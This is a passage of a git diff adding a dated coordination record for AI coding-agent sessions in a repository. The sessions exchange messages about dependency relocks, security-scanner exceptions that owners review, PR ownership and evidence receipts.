workspaces +pin 1.93.0, while both [1.49.6](https://github.com/OpenHands/software-agent-sdk/blob/fcc102a697874d54a357e36004e02c95040dbdc0/openhands-sdk/pyproject.toml#L18) +and [1.50](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/pyproject.toml#L18) +SDK packages permit `>=1.93.0`. Untouched workspace relocking fails on that +exact-pin conflict; it does not establish published-package incompatibility. +No upstream workspace patch is made. + +MAIN335 stays with its live Claude owner. The [durable handoff](https://github.com/seathatflowsinourveins/native-agent-stack/pull/535#issuecomment-5920193968) +requests its repair or explicit bounded delegation; existing main recipe, +guard and docs remain untouched. Private native candidate preparation retains +the original scanner failure and a corrected same-lock empty-TOML control. +The initial no-package-sources exit 128 is a preserved setup failure, excluded +from acceptance. MAIN335 means 335 unique packages and 336 physical blocks; +native Linux resolution qualifies only its selected 176 packages, while +unchanged other-platform branches gain no native qualification. + +SDK draft #560 is separately repaired at `74902ff1…`: its historical inventory +remains the oracle for all 34 non-SDK packages, with current SDK/client guards +bound independently to the selected pin and unchanged qualification receipt. +The [hosted Linux result](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36779328526/job/110105352672) +is 8,702 tests, 807 explicit skips, exit 0; macOS validation also succeeds. +Its security gate remains blocked by unchanged main's LiteLLM lock. The +original 14 SDK files, historical upstream failure and non-additive counter +stay unchanged. No new SDK/model run or Collector deployment follows. + +The supported Claude relay's new first turn hits its native session quota +before sending. New-head requests are undelivered; earlier source and trading +acknowledgements retain their reviewed heads. A replacement lock needs fresh +candidate evidence and owner acknowledgement. Image/Python, trusted observer, +frozen task quality, provider/Gate A/P3, compression comparisons and complete +task accounting remain separate open gates. + +The coordinator imports the stopped, clean worker source patch into its own +isolated draft. The new requirements SHA256 is +`38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb`; +only LiteLLM changes, leaving all 175 other package blocks byte-identical. +The [new native packet](../../blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json) +retains the original July-cutoff reproduction, explicit no-config recompile, +hashed installs, dependency checks, 12 real-SDK fixtures, 68 unchanged tagged +upstream URL tests and fresh whole-candidate caller/source review. The nine +old identities alone are not its new closure proof. Full-wheel 2,104 Python +file comparison and bounded caller methods retain semantic/dynamic uncertainty. +The 68-test result is one upstream module, not the proxy/full-workspace suite. + +After registration, 280 affected repository checks pass with five explicit +skips. A fresh [workflow recheck](../../evidence/artifacts/osv-scope-followup-20260930/litellm-workflow-recheck.json) +executes the unchanged step through the pinned native scanner: all 56 current +inputs, exit 0, `WRITE_SARIF=false`. Original historical outputs are preserved; +this adds no hosted upload, model, image, provider or task-quality run. Initial +reconciled integrity checks pass for 8,951 hashed files. The planned image +experiment refreshes the package-pins digest and captured base, keeps zero +observations and explicitly records that the upstream frozen workspace/image +still targets LiteLLM 1.93.0. This package repair is not an image remedy. + +Independent Astra/Max review accepts the stopped local source patch's bounded +exception retention: all 39 public bindings, 36 ledger commands, 41 private +records and 82 original streams match, including returned-output fidelity +after declared substitutions. Its fresh guard replay passes 38 tests with no +skips. The trigger is the consequential security fix and new exception digest; +the acceptance result is bounded source approval with no binding defect, +retaining dynamic/semantic and compiled-extension uncertainty. The immutable +worker packet is left unchanged; the coordinator recheck records this later +verdict separately. No Claude acknowledgement or broader runtime acceptance +is inferred from that independent source review. + +The separately reviewed private MAIN335 candidate `d160c826…` preserves all +334 other unique packages / 335 physical blocks. Its fresh 1.49.6 environment +also supplies candidate-specific whole-caller and source-identity evidence, +independently checked with all four additional native exits 0. Existing main +remains clean and unmodified; the owner still needs to adopt the lock, pins +digest, exact-lock guard and registered evidence together. diff --git a/docs/decisions/2026-09-30-runtime-worker-coordination.md b/docs/decisions/2026-09-30-runtime-worker-coordination.md new file mode 100644 index 000000000..3c046015c --- /dev/null +++ b/docs/decisions/2026-09-30-runtime-worker-coordination.md @@ -0,0 +1,541 @@ +# Runtime worker coordination — 2026-09-30 + +This is a sanitized coordination receipt, not new runtime/provider acceptance. +The coordinator branch is `codex/runtime-qualification-20260930`, based on +`origin/main` at `be91e1f860a6cd4c07c9c56555dabc4309ad47cc`. Candidate implementation +stays in `codex/openhands-150-20260930` and `codex/codex-sdk-159-20260930`. + +## Native cooperation evidence + +Source: installed Claude Code 2.1.285 `--help`, `agents --help`, and `logs --help`; +the [upstream release](https://github.com/anthropics/claude-code/releases/tag/v2.1.285), +[cross-session messaging documentation](https://code.claude.com/docs/en/cross-session-messaging), +and [background-session lifecycle](https://code.claude.com/docs/en/agent-view#from-your-shell). +The maintained native client was used directly; no inbox/socket protocol was authored. + +- A durable, owned `--bg` relay named `codex-runtime-native-coordination-20260930` + was launched through the host execution surface with `--model opus --effort max`: + exit 0. Native settings, tools, hooks, sign-ins and permissions were inherited. +- `claude agents --json --all` and `claude logs ` returned exit 0. + `ListAgents` established the relay's own native reply address before messaging. +- One initial directed exchange each with `sota-default-harness-setup` and + `omniroute-token-save-pi-practice` returned `success:true`, queued delivery, + and successful idle subscriptions. Both peers subsequently replied. An idle + notice from the OmniRoute/pi peer was also observed. +- Queue acknowledgements establish contact only. Actual peer replies establish + receipt of the request; their runtime claims remain reported evidence until + the named original artifacts and gates are independently checked. +- A second, materially new exchange requests D4's SDK handoff through its lead, + plus direct gateway/control and observer ownership from `native-agent-stack-bc` + and `native-agent-stack-2d`. All three replied. D4's lead gave a conditional yes; + neither bc nor 2d supplied a Gate A/P3 acceptance record or an observer owner. + Both disclaim PR #423 ownership and refer to the other. Its owner/freeze remains + unresolved. These replies do not authorize promoting defaults or gateways. +- The final ready SDK package and a materially new host-state clarification + produced native `SendMessage` results rendered as sent to the SOTA-default + lead and 2d respectively. The lead replied to the ready package; no new reply + to the last clarification was observed. Prior bc ownership clarification + remained unanswered at cleanup. No broadcast or GitHub comment was posted. +- Only the owned relay was stopped using native `claude stop`: exit 0. Its + attached terminal then exited 0. Peer sessions were left under their owners. + +## Ownership and handoff + +`sota-default-harness-setup` reports no ownership of OpenHands/runtime recipes, +the SDK route adapter, or gateway paths. Its current A/F/D branches are neither +frozen nor accepted; only probes were reported. Preserve these boundaries: + +| Owner | Reported owned surface | +| --- | --- | +| F1 | Root `AGENTS.md`, Claude instructions, Codex AGENTS template | +| F2 | Claude hooks and the Codex template's hooks block | +| F3 | Skill manifest/overrides and the Codex template's `[skills]` block | +| F4 | `tools/adoption/apply_codex_lane.py`, Codex role TOMLs, Claude user MCP template | +| D4 | Codex version/pin promotion, qualification receipt, model-currency addendum, and model lines in `adoption/templates/codex.config.template.toml` | +| A4 | Adoption token profile and token-efficiency stack documentation | + +The SDK worker's requirements, constraints and lock changes remain isolated; +there is no global promotion. D4 was asked to retain promotion ownership and +accept a cherry-pick with the scoped qualification evidence. Its lead replied +with a conditional yes: provide full commit SHAs and the receipt +path, touch none of D4/F1–F4's owned files, preserve the actual evidence class and +sign-in/provider path, retain exact commands/exit codes, and validate the combined +head. A separate route commit and scoped SDK pin/docs commit can be handed off; +D4 keeps host-client pin and model/default promotion. If D4 opens before the +qualification lands, use a follow-up PR or its later live addendum. No commit has +been accepted or cherry-picked through this coordination exchange. + +After receiving the ready package, D4's lead revised the handoff to a separate +follow-up PR rather than folding the SDK/runtime/trading surfaces into D4's +client-pin qualification. It reports no overlap with its unit paths. Its +recommended path is to retain both scoped commits, re-register shared evidence +on the PR head, use `lane:shared`, and base on `origin/main` after D4 merges so +the lock references the merged CLI pin. It requests the trading owner's +acknowledgement and 2d's review, with evidence class `local_integration` through +OmniRoute and gateway attestation/whole-task usage unknown. These are reported +review requirements; no peer freeze, default selection or client promotion is +created by this receipt. D4's lead offers to cite the receipt as related evidence +once that follow-up PR number exists. + +The implementation coordinator subsequently supplied the ready package from +`codex/codex-sdk-159-20260930`: + +| Surface | Commit | +| --- | --- | +| Route helper and tests | `352437881b76cfa18993a9e09412ae2b269c3778` | +| Isolated SDK lock, pin, docs and sanitized receipt | `580b69c1386d3fe53448f3d8ad28090d4b68ef22` | +| Optional shared evidence hash update | `7bc3b9b1088f782da87fedbc4aea95c142752656` | + +D4 should re-register evidence using its current shared manifest instead of +cherry-picking the optional hash update. The handoff names +`evidence/artifacts/runtime-sdk-20260930/receipt.json`: a keyless clean loopback +route, fresh empty native home, and two real dynamic-tool/resume turns without +copying sign-ins. Its evidence class is configured-route native execution; +gateway attestation and whole-task usage remain unknown. The native cumulative +52,286 tokens are counted once. The implementation coordinator reports unchanged +upstream native tests at 266 passed, 38 skipped and one retained root-format +expectation failure; 29 integration/recovery/observation checks passed. Its +publication validation returned exit 0 with 69 components, 8,246 hashed files +and 174 receipts. These are handoff claims tied to the named commits and receipt, +not tests rerun by the coordination relay or complete native-suite acceptance. + +The user's updated Codex dispatch preference is Sol/Ultra for the coordinator and +Sol/Max for default workers, preserving explicit models and roles. This receipt +does not alter explicit native Claude roles or the already selected +`cx/gpt-6-astra-max` qualification. + +`omniroute-token-save-pi-practice` reports ownership only of +`blueprints/convergence-practice/pi-omni-trial-20260929/**` and its entries in +`manifests/evidence.json`, on PR #524. Shared evidence entries follow +`docs/lanes.md`; neither coordinator nor writing worker takes that peer's entries. +The peer assigns engine acceptance/P3 decisions to bc or 2d, rather than treating +the pi trial as runtime-worker qualification. + +## Public source snapshots and gate limits + +GitHub reads returned exit 0 for these repository PRs. These are observed heads, +not peer promises that the heads are frozen: + +| PR | Observed head | Observed status | +| --- | --- | --- | +| [#423](https://github.com/seathatflowsinourveins/native-agent-stack/pull/423) | `e2e048053b151ac9c2ba269864cb4adf035058d3` | Open; freeze/ownership requested | +| [#425](https://github.com/seathatflowsinourveins/native-agent-stack/pull/425) | `ec229a780516edb18b5ea88f29b2f9c039aea85c` | Merged; recipe description records offline acceptance | +| [#489](https://github.com/seathatflowsinourveins/native-agent-stack/pull/489) | `501bcc9e50bf3ffa3acc82b6ecf20aa4e23c593b` | Open; OpenHands resolver | +| [#524](https://github.com/seathatflowsinourveins/native-agent-stack/pull/524) | `3443ee32a5411091b5aedd0930d7431d6f2003f7` | Open; pi trial | +| [#530](https://github.com/seathatflowsinourveins/native-agent-stack/pull/530) | `20799c058b0da7f32898772567320263303fce3b` | Open; OmniRoute rebuild evidence | +| [#531](https://github.com/seathatflowsinourveins/native-agent-stack/pull/531) | `be65860794897cd9bad47493b209ca9ab7c26603` | Open; stack row explicitly held | + +The [pinned PR #524 gateway read-back](https://github.com/seathatflowsinourveins/native-agent-stack/blob/3443ee32a5411091b5aedd0930d7431d6f2003f7/blueprints/convergence-practice/pi-omni-trial-20260929/evidence/gateway-readback-20260930T0159Z.json) +was retrieved through the GitHub contents API with exit 0. It records compression +disabled on 20128 and enabled on 20129. The peer reports the native control remains +unchanged, with `codex/*` excluded from compression, and the 20129 ordered plan is +`session-dedup, ccr, lite`. Compression/combo digests remain provisional according +to its handoff. This is a dated read-back, not a new live observation or P3 pass. + +The peer reports its pi trial's validator/convergence/probe checks passed; those +checks were not rerun here and are not promoted to OpenHands/SDK acceptance. +Exact Gate A/P3 acceptance, runtime-recipe ownership/freeze, and observer ownership +remain unresolved. No Gate A instrument was applied to these candidates. +2d's observer instruments belong to Gate A issue #381; this coordinator did +not run them on these inputs or reclassify those instruments. +This corrects the earlier attribution without inferring a freeze or an +acceptance decision. + +When asked about frozen host files, the implementation coordinator reported no +Gate A route/config/pool writes: only fresh version-qualified SDK/private home/ +workspace prefixes, a model listing and two provider tool turns through existing +20128. No sign-ins were read or copied and no global configuration was changed. +The OpenHands worker built pinned source and ran its tests, without a server, +container or model startup. This is the coordinator's implementation account, +not a new observer attestation. The coordinator also reports no task operation +of `ecosystem-upkeep.timer`, no changes to the root checkout or native Codex +state, and no on-disk `AGENTS.md` edit: the replacement instructions arrived +directly in the user's message. A directed clarification to bc/2d requests the +actual PR #423 owner or an explicit isolated-recipe handoff, without claiming a +freeze on their behalf. 2d replied without taking PR #423 ownership or supplying +gateway acceptance; no owner or frozen head is established at this checkpoint. + +## Corrections and retained failures + +- A prior one-shot `-p` relay queued both messages but could not subscribe because + its return address was classified `unreachable-namespace`. Non-bare `-p` does + support receiving inboxes; it cannot display held-message approval dialogs. + The original failure is not proof that headless sessions cannot receive. +- An earlier owned background launch was stopped with exit 0 before this durable + relay. Its post-stop `logs` failed with ENOENT on both context-mode and host + execution. That does not establish a context-mode namespace cause. The active + durable relay's logs are reachable from context-mode. +- A non-TTY resume attempt using a short background job ID exited 1: the client + required a conversation UUID or session title in print mode. No new session was + created. The supported native `attach` surface then delivered the new owned + coordination prompt successfully. + +No credential values, private session/message IDs, host-specific paths, raw +conversations or machine-specific active configuration are retained here. + +## Receipt validation + +`rtk python3 scripts/validate.py` returned exit 0 and `status: passed` with +69 components, 8,243 hashed files, four profiles and 174 receipts. Its returned +scope was integrity/scope checks only, with no live provider or GPU execution. + +## SDK follow-up coordination checkpoint + +The resumed bounded exchange used installed Claude Code 2.1.285 and the native +background, roster, messaging, logs and stop surfaces cited above, preserving +inherited settings, tools, hooks, accounts and permissions. Version/help/roster +and owned logs returned exit 0. The new owned relay ran `opus` at `max`. Exactly +one directed request per recipient used nonce +`codex-sdk-review-followup-20260930`; no broadcast or duplicate qualification was +requested. All three sends returned success/queued, and all three peers actually +replied. No held/refused delivery notice was observed. The relay alone was +stopped with exit 0; its attached terminal exited 0. No peer session was stopped. + +| Recipient | Actual reply and remaining limit | +| --- | --- | +| SOTA-default lead, replying for D4 | Confirms separate SDK follow-up after D4 merges; D4 has no PR or URL yet and is reported unpushed | +| Trading owner e0 | No scope objection, with an effort-change correction required; final acknowledgement awaits PR number/head | +| Gate A owner 2d | No Gate A objection to the two-commit, ten-path range; explicitly excludes code review, acceptance and trading-path approval | + +D4's lead reports branch `claude/sota-defaults-d4-codex-0159-20260930` at +`893a949635e29daf13b696b0c59444da31ca7f25`, merge base +`f77612b66fb92a7baace31f92e9f9bc3f7f5fb09`, with four commits and pin 0.159.2. +Builder acceptance/handoff and lead verification precede opening. Its reported +review order includes trading-owner acknowledgement and 2d review before the +related Amendment 4 revision. This is an attributed unpublished-branch handoff, +not a merged pin or host promotion. The npm CLI pin and PyPI SDK lock identify +different artifacts at the same version; the requested sequencing does not +assert they share an artifact or an enforced cross-lock dependency. + +The public main head was independently read through the GitHub branches API, +exit 0: [7d0189117028907261d06926dee86844c1ae8f1e](https://github.com/seathatflowsinourveins/native-agent-stack/commit/7d0189117028907261d06926dee86844c1ae8f1e). +It supersedes the request's `b4056a3` snapshot. Do not infer a D4 freeze or merge +from that moving main reference. + +e0's requested correction concerns `native_worker.py` applying +`model_reasoning_effort="max"` to the default `openai` path as well as the new +route. It previously passed only caller overrides. e0 accepts either documenting +that changed effort in `workers/README.md` or limiting the override to the +OmniRoute path. The requested PR/head acknowledgement has not occurred. + +2d reports the SDK range does not overlap its owned or frozen paths and +`tests/test_observability.py` is outside its ownership. Re-registering the shared +evidence file follows `docs/lanes.md`: take current main's copy, register and +regenerate the relevant evidence outputs, then validate; whichever PR merges +second takes main's file again. Its conditions retain scoped homes, no host +configuration/launcher/gateway changes, no gateway traffic or default-home Codex +process during an announced measurement window, version alignment with the +final D4 candidate, unknown usage remaining unknown, and exclusion of the +52,286-token snapshot from Gate A measurements. It requires overall +`local_integration` claims and no `native_proven`, Gate A, P3 or observer +acceptance claim. Reported future window timing and gateway rebuild details were +not independently qualified by this coordinator; the SDK receipt names no +attested gateway build. + +Correction: describing the SDK receipt as classified `local_integration` relayed +the requested overall review class, not a literal existing top-level field. +Original-source read at `580b69c1386d3fe53448f3d8ad28090d4b68ef22` using +`rtk proxy git show` returned exit 0. The receipt has no top-level +`evidence_class`; its live-attempt labels are `advertised_model_only` and +`native_provider_execution_configured_route`, with integration-check labels +`local_integration_contract_and_recorded_fixture_replay`. Its recorded timestamp +is `2026-09-30T05:26:01Z`. Preserve those specific returned-evidence scopes when +adding an overall class; publication validation alone does not prove a runtime +claim. No SDK receipt or pin was edited by this coordination task. + +A local processing helper initially failed with a JavaScript syntax error, +exit 1, before its GitHub read ran. One bounded correction returned exit 0 for +the [related terminal PR #532](https://github.com/seathatflowsinourveins/native-agent-stack/pull/532); +that PR was not misidentified as D4's promotion PR. This append is left +uncommitted for the coordinator's integration, as requested. + +## OpenHands candidate dependency ownership checkpoint + +Source: [issue #518](https://github.com/seathatflowsinourveins/native-agent-stack/issues/518), +read directly through the GitHub API with exit 0, and an actual native reply +from `native-agent-stack-bc` to nonce `codex-openhands-lock-owner-20260930`. +Installed Claude Code remained 2.1.285. One directed native send was reported +sent/queued, then bc replied; no held/refused notice was observed. No e0/2d +message, broadcast or duplicate qualification was requested. Only the owned +coordination copy was stopped, using native `claude stop`, exit 0. + +bc confirms ownership of the live OpenHands 1.49.6 lock's joint oauthlib/PyJWT +relock. It explicitly does not own the 1.50 candidate, recipe #425 or image +scan, and its reply approves no exception, pin or PR. The reviewed live PyJWT +2.14.0 lock digest is +`14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64`. +Earliest joint relock is `2026-10-05T18:40:43Z`, due October 8 with hard limit +October 13. The issue also assigns bc the September 30, 16:56:01Z PyJWT 2.15.0 +decision; bc reports its recorded reasoning currently retains 2.14.0 until the +joint relock. This does not establish a new dependency selection. + +The candidate process reported by bc retains PyJWT 2.14.0, not the inherited +2.13 regression, and oauthlib 3.3.1 before the joint relock. A changed closure +needs a new exact-SHA256-bound `IGNORE_ALLOWED_LOCKS` entry with a fresh +reachability receipt for `GHSA-hj66-6f7g-4r5v` and `GHSA-xpv3-w29h-x7cv`. +Its cited method is +`blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt`, +including aliases/from-imports and the `RevocationEndpoint` JSONP and PKCE +`code_verifier` call paths. No global advisory ID or expiry is added; the new +entry is removed at the joint relock. No ignore is allowed for the flagged +click, cryptography, pypdf or soupsieve versions; fixed selections retain the +seven-day rule. The issue records oauthlib 4.0.0's window ending October 5 at +06:01:19Z. PyJWT 2.14 is a reviewed fixed selection, not a newly granted ignore. + +bc requires the recorded hashed `uv pip compile` method from pinned 1.50 source +to reproduce byte-for-byte in a fresh extraction; native CI OSV Scanner 2.6.0 +must exit 0 with only the two digest-bound oauthlib exceptions, or none when +eligible fixed oauthlib is selected. The candidate's `pins.json` requirements +digest, coverage-test entry and receipt change together. The recipe's hashed +installation and SDK import must pass. bc will build its joint relock on the +then-current main lock, avoiding duplicate work. It requests the candidate +lock's SHA256 and PR head for its reachability review; those were not sent or +approved in this exchange. + +The handoff attributes the original OSV exit 1, isolated candidate repairs, +unchanged upstream source/`uv.lock`, image findings and pending live quality to +the implementation coordinator. It also relays the separate SDK branch pushed +at `f5f7a517939b0561466defcf56ed772de9e1c96a`, its overall `local_integration` +class and documented default-OpenAI max effort. D4's requested SDK PR sequencing +is preserved. No merge or runtime acceptance follows from this ownership reply, +and this coordination task changed no code, pin, shared evidence hash, +configuration, account or runtime. + +Correction: native `--bg --resume` by conversation name started a copy rather +than continuing under the original session ID. A later installed-client probe +also started an owned copy when the full native session UUID was supplied with +explicit flags: background sessions retain their saved options, so a full ID +alone does not guarantee continuation when flags are added. The native launch +guidance distinguishes a no-flags resume from this flagged copy. The earlier +statement that a full ID was sufficient was incomplete. The new owned +coordination copy returned launch exit 0 and was cleaned up. +One local orchestration expression initially had a syntax parse error before +any nested command ran; its bounded repair returned exit 0 for the version and +issue reads. This ownership append was uncommitted at handoff. + +## Updated SDK accounting handoff, 2026-09-30 + +The published SDK follow-up is now at +`404b821cd3af25800ea418dc6145cc5cb6fe33c5`, rebased onto main +`cc1f6ce1f983721ecb42c7da27e58f0649c132f5`. Its additional accounting repair +`aa070a0` changes the Codex observation producer, two SDK receipts, repository +Collector README/YAML and two observation test modules. The earlier +two-commit/ten-path acknowledgements do not cover this expanded scope. +The [usage correction receipt on that branch](https://github.com/seathatflowsinourveins/native-agent-stack/blob/404b821cd3af25800ea418dc6145cc5cb6fe33c5/evidence/artifacts/runtime-sdk-20260930/usage-scope-receipt.json) +retains the native failed aggregate of 78,331, the unavailable additive result +after correction, unchanged private counters and the native Claude OTLP +positive control. The original tool/resume runs had no observation sink. + +An owned native Claude 2.1.285 relay sent exactly three directed updates to D4, +e0 and 2d, with explicit Opus/max. All returned success/queued. Actual replies +were observed from e0 and 2d; D4 was still pending when the bounded owned relay +was stopped. Private delivery IDs and raw conversations remain outside this +repository. D4's SDK PR-after-pin-merge sequence remains in force. + +e0 confirms receipt, while distinguishing it from final approval. It asks for +the actual PR/head, preserves opt-in OmniRoute, read-only/deny-all behavior, +documented default-OpenAI effort and no order/broker path, paper unit or venv +impact. It identifies the Collector as foundation-owned and requests Gate A +window coordination for final review. + +2d confirms the updated head and named paths, with no Gate A objection to +source scope only. This is not code review, PR approval or runtime acceptance. +It states that deployed services use private configuration outside the +checkout, so a source-only Collector merge does not alter a frozen row; the +sealed runbook links an immutable SHA. It requires dated notice to 2d at least +six hours before the seal announcement for any deployment or Collector +restart, and no such operation during open windows. No deployment or restart +was performed here. It retains the shared hot-file protocol and native +counter boundaries, and offers deterministic scope/leak checks on an actual +PR head rather than model review. + +The new runtime-candidate PR is also `lane:shared` because it changes the +shared dashboard pending gate/worker checkpoint. A trading-lane acknowledgement +on that actual PR is still required before merge; neither SDK receipt supplies +it. No nonexistent PR was submitted to peers for approval. + +Successful native commands, with only private identifiers/prompts redacted: + +```text +rtk claude --version +rtk claude agents --json --all +rtk git diff-tree --no-commit-id --name-only -r aa070a0 +rtk claude --bg --resume --name codex-runtime-sdk-head-update-20260930 --model opus --effort max +rtk claude logs +rtk claude stop +``` + +Each returned exit 0. The flagged resume created an owned copy as described +above. Only that relay was stopped; no peer session, global setting, account +or source file was changed by the relay. Provider/coordinator usage was not +measured and remains unknown. Root integrates this sanitized handoff record. + +## Runtime-candidate PR review checkpoint + +The native owned relay sent PR #535 at head +`bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd`, based on +`f03f41c7f3601532b8635f8f112a3d2731454375`, to e0, 2d and bc. All three +actually replied. Launch, logs and owned stop returned exit 0; no peer was +stopped and no source edit, GitHub post or deployment was performed by the +relay. Provider/coordinator usage remains unknown. + +e0's [public scope acknowledgement](https://github.com/seathatflowsinourveins/native-agent-stack/pull/535#issuecomment-5907440201) +was independently read through GitHub's API, exit 0. It covers that exact +head's shared paths and preserves the unchanged trading boundary. It is not +merge approval and does not carry to a changed index, dashboard state, OSV +configuration or suppression guard. The reconciliation changes the guard +and index, so final-head acknowledgement is requested again. + +2d found no Gate A scope objection or leak in its deterministic source-scope +checks. This is not model review, test acceptance or merge approval. Its +requested correction is applied above: no Gate A instrument was used for +these candidates or reclassified. Original output whitespace is retained +under the evidence policy, with the full-diff failure distinguished from the +passing source/configuration check. Deployed Collector configuration remains +outside this checkout; no deployment or restart is authorized by this review. + +bc found the first candidate SHA's two OAuthlib source suppressions sound for +Linux x86_64/CPython 3.13.15 only, while requiring the main-version and platform +corrections before review could finish. The [new reconciliation receipt](../../blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json) +retains both baselines, native commands and installer-source trace. Its new +SHA needs a fresh review; the older finding supplies no approval for it. +bc's offered artifact publication was requested, but no publication was +confirmed during the bounded exchange and no scratch output is promoted. + +## Source convergence and renewed owner exchange + +The earlier publication limit is now resolved by merged +[PR #537](https://github.com/seathatflowsinourveins/native-agent-stack/pull/537) +at `11227bfdf25b55b0481a9e78985c3fed26052472`. The +[final review receipt](../../evidence/artifacts/openhands-oauthlib-review-535-head6a7b16-20260930/receipt.json) +binds published PR #535 head `6a7b16465e50689334d9dd15ff4fed99a9cd7485` +and lock SHA256 +`383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106`. +Its own SHA256 is +`c7473105255cc38bac1da6c7a490f99d863b58d865e82529d221b2a2e759908f`. +Original review outputs were read from the merged immutable revision and +matched independently. This completes the receipt/citation gap for its +bounded source/install/scanner review, excluding worker/image/provider, +independent observer and task-quality acceptance. It grants no merge, +exception, pin or promotion approval. + +A new owned native Claude 2.1.285 Opus/max relay directly contacted the +client-pin owner, bc, e0, 2d and `runtime-omniroute-coop`. All five actually +replied. The other runtime session reports no ownership or overlapping work; +e0 owns the incoming shared-state update and requires a fresh acknowledgement +when this PR changes guard/documentation semantics. 2d reports source-only +cleanup is currently allowed, and keeps deployed Collector configuration +separate from its source review. D4 retains PR #542 and requests its actual +merge before the SDK follow-up. Peer claims do not qualify upstream behavior. + +The coordinator's [source-backed follow-up decision](2026-09-30-runtime-convergence-followup.md) +and [planned image experiment](../../blueprints/convergence-practice/runtime-image-browser-20260930/README.md) +retain the full-image/Python gate and use only the supported native builder +composition. One targeted second exchange with D4, bc and 2d supplies the +stable SDK formatter gap, exact lock citation, supported image/grading sources +and source-only/resource boundary. Delivery is not consensus: actual second +replies and final published-head acknowledgements are recorded separately. +No image build, model trial, host/global setting, account, service or deployed +Collector change is performed by this exchange. Provider/coordinator usage +remains unknown, and only the owned relay is eligible for cleanup. + +2d actually replied to the second exchange: the source-only operation +boundary is settled. A planned Docker/one-worker/12-iteration/frozen-ID trial +is acceptable now, with no build/run. Eventual preflight requires its host-load +agreement, existing rootless Docker, native Codex capacity, bc's gateway +agreement and start/end notices. No operation starts from the seal announcement +through the last window's close. Collector deployment/restart requires a +separate dated notice, at least six hours before announcement or after every +window closes; source review and source merge do not authorize it. The sealed +Codex arms keep explicit Astra unless amended by the user. 2d reviews source +scope/leaks and does not claim review of the Collector join-path content. +It will use dated U6 PR/README notices as well as live-peer messages, while +requesting a stable Codex coordinator contact. No new notice service is added. +The historical host actor remains unknown and does not block source cleanup. + +The subsequent actual bc reply accepts the bounded reconciliation protocol: +wait for its dependency repair to merge; retain main's Next/macOS policy and +the captured-input fixture classifications; preserve this candidate's +SDK/tools 1.50 target-specific closure; change the lock SHA and its allowed +row together; register owned evidence from fresh main last; run native checks; +then request a new artifact-only review on the actual published head. The +old `383ccc…` review does not carry to a new lock, and no advisory ID or +expiry is extended by the candidate relock. + +bc's actual 17:00 UTC reply confirms publication of PR #546 head +`bd48d924026635dccc18d30be8f56a2dc476fa89` at 16:59:42Z. The coordinator +also reads that head through the native GitHub client, exit 0, and dispatches +an independent Astra/Max review of the corrected guard and original native +outputs. The owner's reported main-lock digest and scan pass are review +leads until checked; publication is not merge or runtime acceptance. Native +incoming delivery of the candidate-running notice is recorded separately +from that actual reply. No additional service or timer supplies the handoff. + +After independent native counterexamples refute the updated reader and a +consequential Astra/Max architecture review recommends the native boundary, +bc actually acknowledges the coordinator's hold decision: it will implement +separate scans inside PR #546 and will not merge the interim reader change. +The ordinary config retains unrelated ignores and contains no Next ignore; +the separate frozen-macOS config contains only the same dated Next exception. +The inventory must partition exhaustively and disjointly, preserving every +parser/path argument, with only the exact frozen artifact/digest assigned to +that config. Either nonzero native scan exit fails the combined check, and +both reports/SARIF categories remain covered. Native negative controls and +partition/digest controls are part of the final acceptance. + +bc retains source/workflow ownership and will send the actual final head and +commands for independent review. The former candidate-reconciliation rule +that preserved the interim custom Next readers is superseded by this design; +reconcile only the actual final native split implementation. Obsolete reader +code/tests may be removed, while original failed-condition evidence remains +historical. This is actual implementation consensus, not a published fix, +merged PR, hosted pass or broader runtime acceptance. + +The actual published native-split head is +`4a09c9c5f1e5fdb5555d4c916666f12e089cf09f`. Independent unchanged-command +execution confirms the 48+1 partition, both table/SARIF modes and frozen +digest assertions. A missing ordinary config exits 127 through the combined +workflow; altered frozen bytes fail their original test and exact restoration +passes. The bounded review has no outstanding material source defect. These +results were actually sent through native messaging to bc; delivery does not +establish an acknowledgement or merge. The owner still requires its eight +hosted checks and will supply the actual merge SHA. + +A separate runtime-enhancement coordinator asks about private Codex homes, +MCP, roles and skills without taking this branch's paths. Its source reading +distinguishes the create-only initializer, opt-in applier and preserved +existing configuration. Those are source leads requiring original-source +verification. No private-home preparation or inheritance qualification is +performed here. The SDK receipt's fresh empty home qualifies only its named +tool/resume execution and supplies no MCP, skill, role or approval-loading +acceptance. The source applier owner and Gate A default-policy owner retain +their respective decisions; no host installation or default change follows. + +The coordinator independently observes PR #546 merged at +`8fc86119eacfd5be9b8a139e1ed167d85748091b` through native GitHub reads. +Its isolated runtime branch is reconciled onto that actual revision. This +completes the dependency-source sequencing gate, while the new candidate's +published-head artifact review and broader runtime gates remain separate. + +Original-source review corrects the private-home leads: the +[initializer](https://github.com/seathatflowsinourveins/native-agent-stack/blob/46e6d7763686cb49f89cc2e757c1122aa9bd8f9f/tools/adoption/codex_home.py#L181) +can also set `daemon_auto_start=false` in an existing config with backup and +read-back. The [applier](https://github.com/seathatflowsinourveins/native-agent-stack/blob/20616cba5964b46d92adb71e15dfa4b65c178b71/tools/adoption/apply_codex_lane.py#L482) +includes its two carrier roles by default; only its three additional worker +roles are opt-in. Its dry run rehearses a scratch app-server. That immutable +head requires Codex 0.157.1, while installed version/help report 0.159.2 with +exit 0. The live owner actually acknowledges this intentional sequencing gap: +its client-pin PR supplies the version reconciliation, and the applier follows +that merge and the measurement window. No preparation or default flip occurs. + +The primary SDK source confirms child environment/config behavior at +[ff6aec9](https://github.com/openai/codex/blob/ff6aec96948b70d94983af2641a6b67c94faeff5/sdk/python/src/openai_codex/client.py#L250), +and [native home resolution](https://github.com/openai/codex/blob/ff6aec96948b70d94983af2641a6b67c94faeff5/codex-rs/utils/home-dir/src/lib.rs#L13) +requires the supplied directory to exist. The initializer, owned MCP edits, +skill installer and native runtime extensions retain their own installation +and acceptance boundaries. Source review does not establish private-home +MCP reachability, implicit skill discovery, role loading or approval state. + +The agreed neutral host attribution remains: pre-existing uncommitted changes +observed in the main checkout; original author not established. The coordinator +does not attribute those changes to itself or another session. diff --git 